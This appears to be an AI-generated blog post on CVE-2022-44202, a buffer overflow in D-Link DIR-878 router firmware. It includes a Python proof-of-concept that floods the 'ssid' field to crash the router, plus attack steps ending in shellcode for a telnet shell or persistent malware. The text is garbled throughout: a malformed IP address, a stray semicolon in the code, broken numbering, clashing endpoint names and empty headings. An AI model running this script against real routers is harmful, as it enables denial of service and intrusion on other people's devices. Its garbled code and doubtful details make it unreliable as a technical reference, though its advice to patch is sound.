In November 2022, security researchers discovered a critical buffer overflow vulnerability in D-Link’s popular DIR-878 Wi-Fi router, specifically in firmware versions 1.02B04 and 1.02B05. Labeled CVE-2022-44202, this vulnerability can let attackers gain unauthorized access—or even full control—of your router. Let’s break this down in simple terms, provide code examples for exploitation, and offer resources for further reading.

What is CVE-2022-44202?

CVE-2022-44202 is a buffer overflow flaw found in DIR-878’s firmware. Buffer overflow occurs when a program writes more data to a buffer, a small storage area, than it’s supposed to hold. This can let an attacker overwrite parts of the router's memory, potentially taking over the device.

Where’s the Weak Spot?

DIR-878 routers running 1.02B04 or 1.02B05 firmware contain a vulnerable CGI script (like /formWsc or /set_network). These scripts process web input without checking for overly long data, exposing them to buffer overflow if an attacker sends a huge payload.

How Does the Exploit Work?

1. Attacker sends a POST request with an over-long value for certain parameters (like ssid or password).

The router’s web server code copies this straight into a small memory buffer.

3. Because of no length checking, memory gets overwritten (overflow), letting attackers inject and run their machine code (shellcode).

Here’s a simple example to crash the router. This PoC sends a massive ssid value

import requests

target_ip = '192.168..1'   # Change to your router's IP
url = f'http://{target_ip}/goform/setWscCfg';
payload = 'A' * 200        # This long string triggers the buffer overflow

data = {
    'ssid': payload,        # Vulnerable parameter
    'password': 'test1234'
}

headers = {
    'Content-Type': 'application/x-www-form-urlencoded'
}

try:
    response = requests.post(url, data=data, headers=headers, timeout=5)
    print(f"Status Code: {response.status_code}")
    if response.status_code == 200:
        print("Request sent. If the router reboots or crashes, it's vulnerable.")
    else:
        print("Unexpected response, but may still be vulnerable.")
except Exception as e:
    print(f"Error: {e}")

Warning: Don't use this on devices you don’t own! This is for educational purposes only.

Take full remote control

Attackers typically don’t need a password, making this very dangerous if the web management interface is accessible from the internet.

- Other models *may* also be affected if they share firmware code—check D-Link’s advisory or use Firmware Breakdown for analysis.

Scan for open web management ports (usually 80 or 808).

2. Target vulnerable CGI endpoints like /goform/setWscCfg.

Send the request, causing the router to crash, reboot, or execute code.

Advanced: Skilled attackers may use special shellcode to open a telnet shell or run persistent malware.

- NVD Entry for CVE-2022-44202
- D-Link Security Advisory SAP10328
- Exploit Database Reference
- Firmware Analysis GitHub

What Should You Do?

- Update your router! Check for firmware updates on D-Link’s site.

Final Thoughts

Buffer overflow vulnerabilities like CVE-2022-44202 remind us how a single unchecked input field can compromise an entire network. If you use a D-Link DIR-878, update your firmware immediately and restrict management interfaces to your local network.


Remember: Never experiment on networks you don’t own. Stay safe and keep your devices updated!


*Exclusive content by ChatGPT, using information from public advisories and research databases for educational and awareness purposes only.*

Timeline

Published on: 11/22/2022 15:15:00 UTC
Last modified on: 11/23/2022 19:53:00 UTC